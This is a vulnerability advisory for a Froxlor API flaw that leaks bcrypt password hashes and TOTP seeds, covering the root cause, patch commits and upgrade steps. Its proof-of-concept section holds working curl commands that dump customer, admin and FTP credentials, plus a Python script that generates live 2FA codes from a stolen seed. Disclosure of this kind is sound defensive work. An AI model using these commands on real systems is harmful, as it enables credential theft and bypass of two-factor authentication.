CVE-2026-62988: Froxlor API Credential and 2FA Secret Disclosure
Froxlor's API endpoints return full database rows including password hashes and TOTP seeds, letting any authenticated API user steal credentials and bypass two-factor authentication for customers…

The problem
Six API methods in Froxlor (Customers.get, Customers.listing, Admins.get, Admins.listing, Ftps.get, Ftps.listing) issue SELECT * queries and pipe the raw result directly into $this->response() without stripping sensitive columns.
Every API caller with permission to reach these endpoints receives bcrypt password hashes, TOTP type flags (type_2fa), and Base32 TOTP seeds (data_2fa) in plain JSON. Password hashes are crackable offline. TOTP seeds are permanent until reset, so exposure bypasses 2FA indefinitely.
Combined, both authentication factors can be defeated for the same account.
Proof of concept
A working proof-of-concept for CVE-2026-62988 in froxlor/froxlor, with the exact payload below.
# PoC 1: dump customer password hashes + TOTP seeds
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Customers.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {loginname, password, type_2fa, data_2fa}'
# PoC 2: dump admin password hashes + TOTP seeds
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Admins.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {loginname, password, type_2fa, data_2fa}'
# PoC 3: dump FTP password hashes
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Ftps.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {username, password}'
# PoC 4: generate a live TOTP code from the exposed data_2fa seed
export TOTP_SEED='<base32_seed_from_data_2fa>'
python3 - <<'PY'
import base64, hashlib, hmac, os, struct, time
seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))
counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff
print(str(code % 1000000).zfill(6))
PYThe root cause is the absence of an allowlist or denylist on API response serialization. The affected commands fetch entire database rows via SELECT * (or equivalent) and pass the raw associative array straight to $this->response(), which serializes every column into JSON.
The patch (commits 52a43fb and 8667fa3) adds explicit unset() calls on password, data_2fa, and type_2fa before the response is built, mirroring the safe pattern already used in other Froxlor API command classes.
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) applies directly. Because there is no server-side field stripping at all in the vulnerable version, the fix is purely additive: no query change is needed, just unsetting the columns post-fetch.
The fix
Upgrade to Froxlor 2.3.8 or later. The fix is in commits 52a43fb826bb9a058faf9c39feeef7ac4444ceba and 8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797, which unset password, data_2fa, and type_2fa before every affected API response. After upgrading, consider forcing a 2FA reset for any administrator or customer account whose data_2fa value may have been exposed through API calls made on vulnerable versions, since TOTP seeds remain valid until explicitly regenerated.
Related research
- high · 8.7CVE-2026-54347CVE-2026-54347: Froxlor Stored XSS in DNS TXT Record Leads to Admin Account Takeover
- high · 7.2CVE-2026-54348CVE-2026-54348: Froxlor Second-Order SQL Injection via Admins.add ipaddress Parameter
- high · 8.1LibreNMS SSRF-Driven Stored XSS via Oxidized API Response Fields
- highCVE-2026-55224CVE-2026-55224: MineAdmin Path Traversal in Plugin Install/Uninstall